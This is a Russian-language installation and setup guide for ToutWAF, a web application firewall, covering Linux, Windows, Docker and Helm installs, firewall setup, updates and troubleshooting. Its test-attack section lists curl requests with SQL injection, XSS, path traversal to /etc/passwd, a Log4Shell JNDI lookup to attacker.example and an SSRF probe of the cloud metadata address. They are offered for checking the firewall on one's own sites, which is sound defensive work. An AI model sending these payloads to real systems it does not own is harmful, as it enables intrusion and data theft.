Установка ToutWAF шаг за шагом

Инструкции для копирования и вставки: AlmaLinux 10, другие дистрибутивы Linux, Windows, Docker и Kubernetes. Нативные бинарные файлы: устанавливать среду выполнения не нужно. Затем запустите мастер, переключите DNS и проверьте работу.

Какую версию вы устанавливаете

Публичная версия — версия для разработки с именем 0.3.0-dev. Её имя не меняется: каждая публикация заменяет предыдущую, а два выпуска различает идентификатор сборки. Стабильной версии пока нет: её опубликуют, только когда каждая система и каждый пакет пройдут сквозное тестирование. Поэтому команды на этой странице устанавливают продукт из канала dev. Версия для разработки может содержать ошибки: прежде чем на неё полагаться, попробуйте её на тестовом сайте.

Требования

64-разрядный сервер (amd64 или arm64) под Linux или Windows, права root или администратора и свободные порты 80 и 443. Консоль слушает порт 9443 по секретному пути. Подробные требования и зависимости — чуть ниже.

Требования и зависимости

Что нужно вашему серверу, что добавляет установщик и что остаётся необязательным.

Поддерживаемые системы

Linux с systemd 239 или новее и glibc 2.28 или новее на amd64 или arm64: AlmaLinux, Rocky Linux, RHEL и Oracle Linux 8–10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11–13, Ubuntu 20.04–26.04, openSUSE и Arch (полная таблица ниже). Windows 10, 11 и Server 2016–2025 (ещё не запускалось на реальном хосте Windows). Установщик проверяет вашу систему до каких-либо изменений. Серверы, которые вы добавляете из консоли: агент хоста существует для Linux (amd64, arm64) и Windows (amd64).

Сетевые порты

80 и 443: веб-трафик (data plane). 9443: консоль (меняется ключом --cp-port). 9444: API для узлов data plane и агентов серверов; установщик его не открывает, разрешайте доступ только со своих серверов. 127.0.0.1:9101: локальная проверка состояния. UDP 443 остаётся закрытым (HTTP/3 не реализован). Агенты серверов делают только исходящие соединения на порт 9444.

Что делает установщик

Нужны права root или администратора и исходящий HTTPS для загрузки релиза. Устанавливает curl, tar и libcap, если их нет (и policycoreutils-python-utils в системах с SELinux), создаёт непривилегированного пользователя toutwaf и один каталог установки (/var/toutwaf с bin, conf, data и logs; --home DIR меняет его, а более старая установка сохраняет свои пути), ставит усиленные службы systemd (службы Windows в Windows), позволяет data plane занимать порты 80 и 443 без root, по умолчанию открывает брандмауэр, если активен firewalld или ufw (80, 443 и порт консоли; --console-from ограничивает консоль, --no-firewall отключает), размечает файлы для SELinux и проверяет суммы SHA-256.

Язык установщика

По умолчанию английский; установщик определяет язык системы. Задайте язык ключами --fr --de --es --it --pt --nl --ru --zh --ar или --en (Windows: -Fr и т. д. либо переменная TOUTWAF_LANG).

Самодостаточные бинарные файлы

Data plane написан на Rust, control plane и агент — на Go, консоль встроена в control plane. Не нужно устанавливать среды выполнения Python, Node.js или Java и сервер баз данных: данные хранятся в SQLite. Data plane на Rust требует glibc 2.28 или новее. Основные сторонние компоненты: tokio, hyper и rustls (Rust), Svelte и xterm.js (консоль).

Необязательные компоненты

ClamAV для антивирусной проверки хостов Linux (консоль может установить его за вас); Microsoft Defender в Windows. openssl нужен, только если включить проверку подписи релизов, а cosign — только если вы хотите проверять подписи с его помощью. Docker не требуется: манифесты Docker и Kubernetes — альтернативные способы развёртывания.

ToutPanel (сервер веб-хостинга)

Устанавливается из консоли по SSH или собственным установщиком. Linux: Debian 11–13, Ubuntu 20.04–24.04, AlmaLinux, Rocky Linux и RHEL 9 и 10, Fedora 40 и новее. Windows 10 и 11, Windows Server 2016–2025. Нужны root и bash (Linux) или PowerShell 5.1+ от администратора (Windows), Python 3.9–3.14 (ставится скриптом, если есть в дистрибутиве), не менее 1 ГБ ОЗУ (2 ГБ рекомендуется с MariaDB и PHP), 2 ГБ свободного места плюс ваши сайты и исходящий HTTPS. Панель по умолчанию слушает порт 8888; порты 80 и 443 обслуживают сайты. Источник: README ToutPanel.

ToutWAF пока не публикует минимальные требования к процессору, ОЗУ и диску: подберите размер сервера тестом на собственном трафике.

Поддерживаемые системы

Проверяются установщиком до каких-либо изменений. Статусы берутся из собственных данных установщика.

  • tested Полный тест установки в контейнере пройден именно на этой версии.
  • expected То же семейство, достаточно новые glibc и systemd, но полный тест не выполнялся.
  • unsupported Отклоняется до каких-либо изменений (можно обойти на свой риск через --skip-os-check).
amd64supportedarm64supportedarm32unsupported
ДистрибутивВерсии
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEвсе версииexpected
Pop!_OSвсе версииexpected
Zorin OSвсе версииexpected
elementary OSвсе версииexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)все версииunsupported
Devuanвсе версииunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeonвсе версииunsupported
openSUSE MicroOS / Aeon / Kalpaвсе версииunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxвсе версииunsupported
Alpine Linuxвсе версииunsupported
Void Linuxвсе версииunsupported
NixOSвсе версииunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Проверка без установки: sudo bash install.sh --check-compat (Windows: -CheckCompat). Код возврата 0, если система совместима, иначе 3. Чтобы продолжить на свой риск в неподдерживаемой системе, используйте --skip-os-check: это никогда не происходит молча и не обходит отказ для 32-разрядного ARM.
Raspberry Pi и другие серверы arm64: Raspberry Pi 3, 4, 5 и Zero 2 W требуют 64-разрядной ОС (Raspberry Pi OS 64-bit, Ubuntu или Debian arm64). Сборка arm64 запускалась только в эмуляции, никогда на реальном оборудовании, тестов производительности нет. 32-разрядный ARM отклоняется.
Windows 10 (1809 и новее), 11 и Server 2016–2025 имеют статус expected: установщик Windows не запускался на реальном хосте Windows. Сборка Windows ARM64 только кросс-скомпилирована и ни разу не запускалась.
Docker: образ «всё в одном» проверен только на Linux amd64. Mac на Apple Silicon и Intel не проверялись, нативный macOS не поставляется.

Мастер настройки: от нуля до защищённого сайта

При первом запуске веб-мастер проведёт вас от нуля до защищённого сайта в режиме обнаружения, ничего не ломая.

Домен и источник

Укажите публичный домен и адрес вашего сервера.

Автоматический сертификат

Сертификат от выбранного вами центра (по умолчанию Let's Encrypt) запрашивается и продлевается за вас.

Определение стека

ToutWAF распознаёт WordPress, Laravel, Django и другие.

Шаблон политики

Предлагается подходящий шаблон. Проверьте его или оставьте стандартный.

Режим обнаружения

Несколько дней трафик анализируется без блокировки, затем формируется отчёт.

Переход к блокировке

Один щелчок, чтобы включить, один — чтобы откатить.

Отчёт об обнаружении через 7 дней (пример)
  • ✓99,8 % трафика было бы разрешено
  • !3 правила дают 95 % ложных срабатываний
  • ✓Предложено 3 исключения, готовых к проверке

Обновите систему и установите зависимости

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Установка однострочным скриптом

Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Хотите сначала прочитать скрипт?

Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Параметры установщика

Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Откройте межсетевой экран

Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Оставьте SELinux в режиме enforcing. Присвойте метки каталогам ToutWAF и убедитесь, что отказы AVC не регистрируются.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Управление службами

Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Проверьте службы

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Обновление

Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Обновите систему и установите зависимости

Rocky Linux, RHEL 8–10 и другие клоны Enterprise Linux используют те же команды, что и AlmaLinux. После установки выполните шаги firewalld и SELinux с вкладки AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Установка однострочным скриптом

Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Хотите сначала прочитать скрипт?

Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Параметры установщика

Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Управление службами

Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Проверьте службы

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Обновление

Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Установите зависимости (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Установка однострочным скриптом

Скрипт загружает нативные бинарные файлы для вашей архитектуры, создаёт отдельного непривилегированного пользователя и устанавливает защищённые службы systemd toutwaf-dp (плоскость данных, порты 80 и 443) и toutwaf-cp (плоскость управления и консоль, порт 9443), после чего выводит данные для первого входа.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Хотите сначала прочитать скрипт?

Скачайте его, изучите и только потом запускайте. Рекомендуется для рабочих серверов.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Параметры установщика

Новая установка размещается в одном каталоге, /var/toutwaf (bin, conf, data и logs; меняется параметром --home DIR или переменной TOUTWAF_HOME), а утилиты командной строки связываются в /usr/local/bin. Ранее выполненная установка сохраняет свои пути (/etc/toutwaf, /var/lib/toutwaf) и никогда не переносится.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Откройте межсетевой экран (ufw)

Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Управление службами

Обе службы запускаются при загрузке. Эти команды запускают, останавливают или перезапускают их.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Проверьте службы

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Обновление

Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Откройте PowerShell от имени администратора и запустите установщик

Устанавливает нативные бинарные файлы, регистрирует службу Windows ToutWAF для плоскости данных и задачу запуска для консоли и открывает порты брандмауэра. Установщик ещё не запускался на реальном хосте Windows.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Откройте межсетевой экран

Установщик по умолчанию открывает эти порты, если активен firewalld или ufw: 80 и 443, а также порт консоли 9443 (ограничьте его сетью администраторов параметром --console-from). Порт агентов 9444 никогда не открывается для всех. Эти команды нужны только с --no-firewall, при другом брандмауэре или для ручной настройки.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Проверьте службы

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Обновление

Сделайте резервную копию настроек и данных и снова запустите установщик: он сохраняет ваши настройки и сам откатывается, если новая версия не стала работоспособной. Показаны пути новой установки (/var/toutwaf); более старая установка сохраняет /etc/toutwaf и /var/lib/toutwaf. Обновить можно и из консоли, на странице «Обновления».

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose на Mac или Linux

Docker Compose в Linux или на Mac (Docker Desktop, OrbStack, Colima) с образом «всё в одном» (плоскость управления и плоскость данных). Файлы поставляются с вашим дистрибутивом ToutWAF (папка deploy; в открытом репозитории её нет — там только бинарные файлы и установщики). В образ входят готовые бинарные файлы для каждой архитектуры (bin/amd64 или bin/arm64), а сам образ пока не опубликован в реестре. Проверено только на Linux amd64; на реальном Mac не проверялось: за Docker Desktop виден IP-адрес шлюза Docker вместо адреса клиента. Одноразовые учётные данные появляются один раз в журнале плоскости управления.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Обновление (контейнеры)

Сначала сделайте резервную копию. Кнопка обновления в консоли в контейнере работать не может: замените бинарные файлы в папке bin (или образ, когда он будет опубликован) и пересоберите; тома, то есть ваши данные, сохраняются.

bash
docker compose up -d --build

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

bash
docker compose down
purge
docker compose down -v

Установка через Helm

Разворачивает плоскость данных в роли ingress и, при желании, плоскость управления внутри кластера. Чарт и манифесты (включая режим sidecar) находятся в папке deploy вашего дистрибутива ToutWAF, а не в открытом репозитории, где только бинарные файлы и установщики. Оператор — это лишь CRD и заготовка.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Проверьте поды и откройте консоль

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Обновление (контейнеры)

Сначала сделайте резервную копию. Кнопка обновления в консоли в контейнере работать не может: замените бинарные файлы в папке bin (или образ, когда он будет опубликован) и пересоберите; тома, то есть ваши данные, сохраняются.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Удаление

Первый блок удаляет службы, бинарные файлы и правила брандмауэра, добавленные ToutWAF, и сохраняет ваши данные. Второй дополнительно удаляет настройки, данные и журналы.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

После установки: настройка и проверка

Первый вход

Откройте секретную ссылку на консоль, показанную в конце установки (консоль отвечает только по этому пути), и воспользуйтесь одноразовой ссылкой настройки или паролем администратора, сгенерированным один раз в итоговом отчёте. Сразу включите двухфакторную аутентификацию и создайте второго администратора, чтобы никогда не потерять доступ.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Добавьте первый сайт

В разделе «Сайты» нажмите «Новый сайт» и укажите публичный домен и upstream (реальный адрес вашего сервера). Начните в режиме только обнаружения и включите блокировку, когда отчёт будет чистым. Сайты можно создавать и через REST API с помощью API-токена.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Переключите DNS

За день до переключения уменьшите TTL записей. Затем направьте A / AAAA-записи домена на сервер ToutWAF. После распространения DNS будет выпущен сертификат. Ограничьте межсетевой экран источника так, чтобы доступ был только у сервера ToutWAF.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Проверьте тестовыми атаками

Каждый из этих запросов должен вернуть 403 и появиться в разделе «Атаки» (в режиме блокировки). Запускайте их только против собственных сайтов.

В Windows PowerShell вызывайте curl.exe вместо curl, который является псевдонимом.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Устранение неполадок

Консоль недоступна на порту 9443

Запустите Доктор ToutWAF на сервере: он проверит службы, порты и брандмауэр машины и подскажет, что делать. Он работает и из командной строки, когда сама консоль недоступна; группа безопасности облака перед сервером тоже должна пропускать порт 9443.

Блокируются легитимные запросы (ложные срабатывания)

Откройте событие в разделе «Атаки», прочитайте объяснение и нажмите кнопку ложного срабатывания, чтобы создать самое узкое исключение, либо снизьте уровень паранойи для сайта.

502 Bad Gateway

ToutWAF не может достучаться до вашего источника. Откройте Доктор ToutWAF, строка «Сервер-источник»: он покажет, отказывает ли порт в соединении, не разрешается ли имя или не вызывает ли доверия сертификат, и что делать. Проверьте также брандмауэр источника.

Не удаётся выпустить сертификат Let's Encrypt

Доктор ToutWAF перед заказом проверяет DNS (включая запись AAAA, оставшуюся у CDN или прокси) и доступность порта 80. Для wildcard-сертификата используйте проверку DNS-01.

В моём приложении неверный реальный IP клиента

Читайте заголовок X-Forwarded-For, который выставляет ToutWAF, и доверяйте ему только если запрос пришёл с адреса сервера ToutWAF.

Где находятся журналы?

Используйте страницы «Журналы» и «События» консоли. Службы также пишут в системный журнал машины, а Доктор формирует текстовый отчёт, который можно отправить в поддержку.

Далее: читайте полную документацию